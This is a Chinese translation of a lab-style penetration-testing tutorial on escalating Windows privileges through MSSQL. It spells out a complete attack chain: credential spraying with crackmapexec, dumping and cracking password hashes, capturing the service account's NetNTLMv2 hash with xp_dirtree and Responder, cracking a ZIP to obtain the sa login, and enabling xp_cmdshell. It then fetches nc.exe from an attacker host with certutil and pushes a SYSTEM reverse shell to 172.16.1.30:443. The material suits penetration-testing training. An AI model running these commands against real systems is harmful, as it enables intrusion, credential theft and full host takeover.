本文通过 Google 翻译 MSSQL -- Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。
导航
- [0 前言](#0 前言)
- [1 搜寻 MSSQL 服务](#1 搜寻 MSSQL 服务)
- [2 场景一:在数据库中查找凭证](#2 场景一:在数据库中查找凭证)
- [2.1 手动枚举数据库](#2.1 手动枚举数据库)
- [2.2 破解发现的哈希](#2.2 破解发现的哈希)
- [2.3 权限横向移动](#2.3 权限横向移动)
- [3 场景二:转储 MSSQL 服务账户的哈希](#3 场景二:转储 MSSQL 服务账户的哈希)
- [3.1 破解服务账户的哈希](#3.1 破解服务账户的哈希)
- [3.2 获取服务帐户的 Shell](#3.2 获取服务帐户的 Shell)
- [4 场景三:在 MSSQL 中执行 CMD 命令](#4 场景三:在 MSSQL 中执行 CMD 命令)
- [4.1 搜寻 MSSQL 特权用户 sa 的凭据](#4.1 搜寻 MSSQL 特权用户 sa 的凭据)
- [4.2 破解 ZIP 文件密码](#4.2 破解 ZIP 文件密码)
- [4.3 使用 xp_cmdshell 获取 SYSTEM Shell](#4.3 使用 xp_cmdshell 获取 SYSTEM Shell)
0、前言
在这篇文章中,我们将深入探讨针对 MSSQL 服务器的各种攻击。通过这些攻击,以了解如何利用该服务进行 Windows 权限的提升。
接下来,我们将看到导致权限提升的三种情况:(1)在数据库中寻找有价值的信息;(2)诱骗 MSSQL 服务账户的哈希值;(3)用 MSSQL 的 sa 账户获得 SYSTEM shell。
但在此之前,我们将通过远程和本地枚举 MSSQL 服务,以确定它的运行状态。
1、搜寻 MSSQL 服务
通常,我们并不认为 MSSQL 会是一种权限提升的手段。但是,在许多情况下,是能够利用 MSSQL 来提升到不同的用户、服务帐户或 SYSTEM。
Microsoft SQL Server (MSSQL) 是由 Microsoft 开发的关系数据库管理系统。作为数据库服务器,它是一个软件产品,其主要功能是根据其他软件应用程序的请求存储和检索数据。
基本上,有两种方法可用于查找目标上正在运行的 MSSQL 服务。第一种是远程查找,仅当该服务允许远程连接时这种方法才可行。第二种是本地查找,当防火墙阻止外部连接 SQL 服务器或该服务在本地(127.0.0.1)运行时才会采用这种方式。
(1)如果 MSSQL 服务允许远程连接,那么我们在 nmap 扫描时就会在默认端口 1433 上看到它。【但也可能不是在默认端口】

从上图可以看到 MSSQL 运行在默认端口 1433 上。此外,我们还可以看到 WinRM 服务运行在 5985 端口,RDP 服务运行在 3389 端口,这些信息对于后面的小节来说也是很关键的信息。
如果发现 MSSQL 正在运行,那我们需要测试找到的所有凭证,以尝试登录服务器。
(2)如果在 nmap 扫描期间没有看到 MSSQL 在外部运行,但是当我们在目标机器上站稳了脚跟,使用以下命令枚举时,发现 MSSQL 正在运行:
cmd
netstat -nao | findstr /i "Local listening established"

这意味着该服务可能是被防火墙阻止了外部连接,因为从上图来看它监听在 0.0.0.0 全接口上。而如果服务监听在 127.0.0.1 回环接口上,则表示它仅在本地运行,并且只能由 localhost 访问。
在这种情况下,我们只能借助端口转发功能,将 MSSQL 本地回环端口转发到攻击者的机器上,这样就可以在攻击者本机与它进行交互。
关于端口转发的详情,可在此处查看相关文章。
现在,已经确认 MSSQL 服务正在目标机上运行着(无论内/外部运行),接下来我们就需要查找访问服务器的凭据。
2、场景一:在数据库中查找凭证
在这个场景中,假设我们在枚举目标的过程中找到了一个用户的凭据,通过该凭据能够登录 MSSQL 服务器。
然后,我们将学习如何从自定义数据库中提取信息,并在其中一个表中找到存储的用户名/哈希值。接着,我们成功的破解了其中一个哈希值,并发现可以通过该凭据访问系统。
从本质上讲,我们把这种权限从一个用户提升到另一个用户,称为横向提权 或水平提权。
权限提升并不总是 从用户直接提升到管理员 那么简单。有时我们会发现,在找到攻击向量以获得管理员或 SYSTEM 权限(纵向)之前,我们需要先从一个用户提升到另一个用户(横向)。
在此示例中,假设我们在端口 445 上的 SMB 共享中发现了一个有趣的文件,其中包含用户 bob 的凭据。
bob : P@ssw0rd
现在我们找到了一个凭据,但是还不知道可以在什么地方去使用它,因此还需在任何可能的地方不断的测试这对凭据,以收获意外惊喜。
使用工具 crackmapexec 对该凭据进行 SMB 连接测试:
bash
crackmapexec smb 172.16.1.250 -u bob -p 'P@ssw0rd'

可以看到该凭据是有效的,但是,却无法以该用户的身份在系统上获得立足点。
注:通过 crackmapexec 工具测试的凭证标识 如果是 [-] 提示,则表示该凭证是无效的; 如果是 [+] 提示,则表示该凭证是有效的,但没有访问权限;如果是 [+] 和 (Pwn3d!) 提示,则表示该凭证有效且拥有访问权限。
用法注意:crackmapexec 帮助中的标准用法似乎是crackmapexec smb [option] target
但是我发现这种用法是错误的,应该以crackmapexec smb target [option]
的方式使用才对,例如crackmapexec smb 192.168.56.50 -u user.txt -p pass.txt --continue-on-success
。
最终,通过在 MSSQL 服务上进行测试,发现该凭据有效且可以访问数据库!
2.1、手动枚举数据库
我们可以使用两种工具登录 MSSQL 服务器并与之交互: sqsh 和 mssqlclient.py。
sqsh 工具内置于 kali 中,而 mssqlclient.py 是 Impacket 套件中的工具。
要使用 mssqlclient 登录,可以使用以下命令:
bash
mssqlclient.py -p 1433 bob:'P@ssw0rd'@172.16.1.250 -windows-auth
注:使用 mssqlclient.py 时可能会出现无法连接的情况,仅提示"Encryption required, switching to TLS"信息,此时可以参考这个帖子 中修改 tds.py 文件的办法解决问题。
要使用 sqsh 登录,我们可以使用以下命令:
bash
sqsh -S 172.16.1.250 -U bob -P 'P@ssw0rd'

现在我们已经登录 MSSQL 服务器,接下来,需要从中提取一些信息。首先从 MSSQL 数据库帐户开始。
在 MSSQL 中执行的每条命令,后面都要跟 go 。
mssql
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;

在这里,我们看到有两个用户,分别是 bob 和 sa,而这两个账户都已启用。但由于 bob 不是特权帐户,因此无法看到 bob 和 sa 帐户的密码哈希值。
sa 帐户是 MSSQL 内置的超级用户帐户,具有完全管理权限。
接着,查看 MSSQL 数据库中存在的库名称。
mssql
SELECT name FROM master.dbo.sysdatabases

从列出的库中可以看到 customdb 库很突出,因此,可以先进入该库,然后使用以下两条命令列出该库的所有表:
mssql
use customdb;
SELECT * FROM customdb.INFORMATION_SCHEMA.TABLES;
go


可以看到该库有四个表:custom、test、xtr、users。
通常,当我们想转储数据库的表时,最希望看到的就是表名字里有"user"或"password"的字样。当然,它的表现形式可能有多种,比如"usr"和"pwd"。
由于 user 表是最令人感兴趣的表,因此我们先从那里开始。
mssql
SELECT * FROM users;
go

BOOM!我们从 customdb 数据库的 users 表中转储了所有的用户名和密码哈希值!
2.2、破解发现的哈希
现在我们得到了三个哈希值,下一件事就是确定哈希值的类型,这可以使用名为 hash-identifier 的工具来完成。

bash
python hash-id.py '75c2f6c0653c84f057fa82be2f59aec1'

这款工具之所以比 hashid 更胜一筹,是因为它会对被检测的哈希值进行一个人性化的判断(最可能是...有可能是...)。
鉴于 md5 是最有可能被使用的哈希类型,因此,在本例中,我们将不再使用常用的 hashcat,而是使用一个名为 crackstation 的网站去破解它。
Crackstation 拥有一个包含 15 亿条记录的庞大查找表,可用于快速破解使用常见哈希算法的哈希值,例如:LM、NTLM、md2、md4、md5、md5(md5_hex)、md5-half、sha1、sha224、sha256、sha384、sha512、ripeMD160、whirlpool、MySQL 4.1+ (sha1(sha1_bin))、QubesV3.1BackupDefaults。
我们可以一次将所有要破解的哈希值全部输入到 crackstation 中,然后看它是否能够破解其中任何一个。


Amazing!网站成功破解了其中两个密码。其中一个是我们已经知道的 "P@ssw0rd",它属于 bob;然而,第二个密码 "Password123!" 属于 Alice 的哈希值。
Alice : Password123!
2.3、权限横向移动
现在我们已经找到了另一个用户的凭证,可以再次使用 crackmapexec 以确认它是否有效。
bash
crackmapexec smb 172.16.1.250 -u Alice -p 'Password123!'

可以看到该凭证有效但是不能通过 SMB 登录系统。这也说明了 Alice 在应用程序(可能是网站)中的凭证与她登录系统的凭证是相同的。
密码重用是个大问题啊!
现在,我们需要在所有可能的地方(RDP、WinRM、SMB 等)去尝试这个凭证,以查看此账户具有哪些 服务的访问权限。
bash
sudo python3 rdp_checker.py -u alice -p 'Password123!' 172.16.1.250

Perfect!使用 RDP 检查器,我们发现用户 alice 是远程桌面用户组的成员,可以通过 RDP 访问系统。
现在使用以下命令登录系统:
bash
sudo xfreerdp /u:alice /p:'Password123!' /v:172.16.1.250 +clipboard

Amazing!我们成功地进行了水平权限提升,同时也增加了我们的访问权限!
回顾一下:
- 我们先在一个 SMB 共享文件夹中找到了用户 bob 的凭据。
- 接着发现用户 bob 没有办法登录目标机器,但可以对 MSSQL 服务器进行访问。
- 然后枚举 MSSQL 自定义数据库,在 customdb 数据库的 users 表中发现 Alice 的密码哈希。
- 破解 Alice 的密码哈希后,我们发现该账户密码也是用户登录系统时使用的密码。
- 最后,我们发现 Alice 是 Remote Desktop Users 组的一部分,然后通过 RDP 登录系统。
由于我们能够获得第二个用户的凭据,并利用该凭据增加对目标的访问权限,因此本小节示例其实是一个横向权限提升的例子。
3、场景二:转储 MSSQL 服务账户的哈希
我们不可能总是会那么幸运,可以在数据库中找到可以轻松破解的密码哈希。但是,还有其它方法可用于尝试攻击此服务。
在本场景中,假设我们还是使用上面找到的 bob 用户凭证访问 MSSQL,但这次在数据库中没有找到任何可以被破解的哈希值。同时,我们发现 bob 作为一个低权限账户,它什么都做不了。
当发现自己处于这种情况时,我们可以通过尝试连接不存在的 SMB 共享来滥用 MSSQL 服务器本身的权限。通过运行 Responder 工具,我们能够截获 对不存在共享 发起的请求,并转储其中 MSSQL 服务帐户的哈希值。
只有当服务运行的账户是普通用户账户或服务账户时,这种技术才有用。如果服务以 SYSTEM 身份运行,那么即便能捕获到哈希值也无法破解。
首先,我们需要启动 Responder。但在此之前,需要使用 ip a 命令检查网卡的名称。

可以看到 eth0 是我们想要监听的网卡。现在,可以使用以下命令启动 Responder:
bash
responder -I eth0

SMB 服务器的状态必须是 ON,我们才能继续下面的工作。
现在,我们已经将 Responder 运行了起来,然后就可以在数据库中使用以下命令尝试访问不存在的共享,以让 Responder 能够拦截请求并转储 MSSQL 服务账户的 NetNTLMv2 哈希值。
mssql
exec master..xp_dirtree '\\172.16.1.30\test'
go

在 sqsh 中可以看到 SQL 命令虽已被执行,可似乎什么也没有发生。但当我们再次检查 Responder 时,发现它已成功的捕获到了 MSSQL 服务帐户的哈希值!

现在,我们需要拷贝这个哈希值并尝试破解它。这时 crackstation 网站已无法处理这种类型的哈希值,因此我们将使用 hashcat 工具。
3.1、破解服务账户的哈希
将获取的哈希值复制到 TXT 文件中,

然后通过以下命令确定 hashcat 要破解此类哈希所需的哈希模式:
bash
hashcat -h | grep -i "netntlmv2"

在这里,我们可以看到这种哈希的哈希模式是 5600,所以现在可以在 hashcat 命令中使用它,如下所示:
bash
hashcat -m 5600 ./responder_hash.txt /usr/share/wordlists/rockyou.txt -o cracked.txt

短短 3 秒后,哈希值便被破解,然后就可以在 cracked.txt 文件中查看密码。


就这样,我们现在拥有了 MSSQL 服务账户的凭证!
MSSQL$SQLEXPRESS : service#1
3.2、获取服务帐户的 Shell
有了新的凭证后,我们可以在任何可能的地方(RDP、WinRM、SMB等)去测试它,以发现此帐户还有什么额外服务的访问权限。
当使用 crackmapexec 测试该凭证对 WinRM 的访问时,我们发现了下面信息:
bash
crackmapexec winrm 172.16.1.250 -u 'MSSQL$SQLEXPRESS' -p 'service#1' --local-auth

看到 Pwn3d!这表示该用户是 Remote Management Users 组的成员,这意味着可以利用此服务来执行命令。
由于可以通过 WinRM 访问系统,因此我们使用一个名为 evil-winrm 的工具以 MSSQL$SQLEXPRESS 的身份去获取受害者的 shell。
bash
evil-winrm -u 'MSSQL$SQLEXPRESS' -p 'service#1' -i 172.16.1.250

Amazing!就像在上一节看到 alice 那样,我们成功地执行了水平权限提升并增加了我们的访问权限!
注:这种服务账户通常不会像在本示例中展示的那样很容易就被破解掉,但它提供了一个思路:如果服务的登录身份(服务-属性-登录-登录身份)是用户账户,那么这时候,这种方法就显得很有用了。【这种方法很有必要一试】
此外,由于这是一个服务帐户,因此可以使用 whoami /priv 命令来检查它是否启用了 SeImpersonate 权限。

在这里,可以看到 SeImpersonate 权限已启用!这意味着我们可以很容易地利用此权限通过 potato 攻击升级到 SYSTEM。
要了解如何滥用 SeImpersonate 权限来获取 SYSTEM shell,可以查看这篇文章。
4、场景三:在 MSSQL 中执行 CMD 命令
在这最后一个场景中,我们将看到使用特权账户 sa 访问 MSSQL 服务器时会发生什么。
任何 MSSQL 帐户都可以具有特权,但 sa 账户是 MSSQL 的内置超级用户帐户。
同样地,假设我们仍以用户 bob 的身份在目标系统上站稳了脚跟。

4.1、搜寻 MSSQL 特权用户 sa 的凭据
现在我们已经有了立足点,那就可以从一些手动枚举开始,看看系统上是否有有趣的文件。
当通过枚举本地服务发现 SQL Server 正在目标上运行时,我们将需要查找可能包含凭证的文件。而这些文件很可能就位于 Web 服务器目录
C:\inetpub\www
中。但是,它们也可能在其它任何地方出现(如果确实存在的话)。
假设在枚举过程中,我们在 C 盘中发现了一个名为 customapp 的文件夹。

而这对我们来说很感兴趣,因为在 MSSQL 数据库中找到的自定义库的名称也叫 customdb。因此,该应用程序和数据库很有可能是存在联系的。
遍历该文件夹,在其子目录 Backup 中我们找到了一个有趣的 ZIP 文件。


将此文件通过 SMB 共享发送回攻击者机器以进行更仔细的查看。

当尝试将其解压时,我们发现它受到了密码保护...

4.2、破解 ZIP 文件密码
对于大多数受密码保护的文件类型,John the Ripper 通常都可以通过配套工具将受保护文件转换为可破解的格式。而这些配套工具的命名格式都是 xxx2john 这样的,因此可以使用以下命令找到它们:
bash
locate *2john

从上面可以看出,John 能够破解很多文件类型,其中就包括 ZIP 文件格式。
于是,就可以使用以下命令将 ZIP 文件转换为可破解的格式:
bash
zip2john MSSQL_Backup.zip > john_zip
将输出重定向到文件后,现在可以尝试使用 John 来破解密码。
bash
john john_zip --wordlist=/usr/share/wordlists/rockyou.txt

John 几乎很快就破解了密码,现在我们可以使用这个密码来解压文件。
bash
unzip MSSQL_Backup.zip
现在,当系统提示输入密码时,我们输入 superuser,它会从 ZIP 中提取文件。

ZIP 内部只有一个 TXT 文件,读取文件的内容,发现了 sa 用户的凭证!

sa : VeryComplexP@ssw0rd
4.3、使用 xp_cmdshell 获取 SYSTEM Shell
在 MSSQL 服务器上测试这个凭据,发现可以正常登录数据库!

当我们可以使用特权帐户访问数据库时,就可以使用称为 xp_cmdshell 的内置工具 ,它允许我们以运行 MSSQL 服务的帐户身份执行命令。之前,我们看到该服务是以 MSSQL$SQLEXPRESS 服务账户的身份在运行。但是在本例中,我们幸运地发现 MSSQL 服务实际上是以 SYSTEM 账户运行的。
注:以 SYSTEM 账户运行 MSSQL 服务也算是比较常见的情况吧。
默认情况下,xp_cmdshell 功能是被禁用的,于是当我们尝试运行以下命令时将不起作用。
mssql
xp_cmdshell 'whoami'
go

但由于我们是 sa 超级账户,拥有对 MSSQL 服务器的完全控制权限,因此只需使用以下命令即可启用 xp_cmdshell 功能:
mssql
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go

注:此时使用 mssqlclient 工具会更方便一些,只需要一条 enable_xp_cmdshell 命令便可开启 xp_cmdshell 功能。
现在,当我们再次尝试 whoami 命令时,可以看到命令的执行结果。

无论何时进入 MSSQL 服务器,首先要检查的就是是否可以执行命令或打开 xp_cmdshell,即便你的账户不是 sa。
在确认当前身份是 SYSTEM 之后,我们距离完整 shell 也就几步之遥了。
接下来,我们将通过 MSSQL 服务器将 nc.exe 转移到受害者身上,然后以 SYSTEM 身份执行该文件。
首先,我们需要开启 HTTP 服务器并托管 nc.exe。

接着,创建一个 C:\temp
文件夹,然后下载并确认 nc.exe。
mssql
xp_cmdshell 'mkdir C:\temp'
go
xp_cmdshell 'certutil -split -urlcache -f http://172.16.1.30/nc.exe C:\temp\nc.exe'
go
xp_cmdshell 'dir C:\temp'
go

最后,就是在攻击者机器上启动一个 443 端口的 netcat 监听器,然后使用 nc.exe 将 shell 推送到我们的监听器上。
mssql
xp_cmdshell 'C:\temp\nc.exe 172.16.1.30 443 -e cmd.exe'
go

执行命令 go 之后,可以看到提示符被挂起。当我们回到 netcat 监听器,便看到了一个 SYSTEM shell!
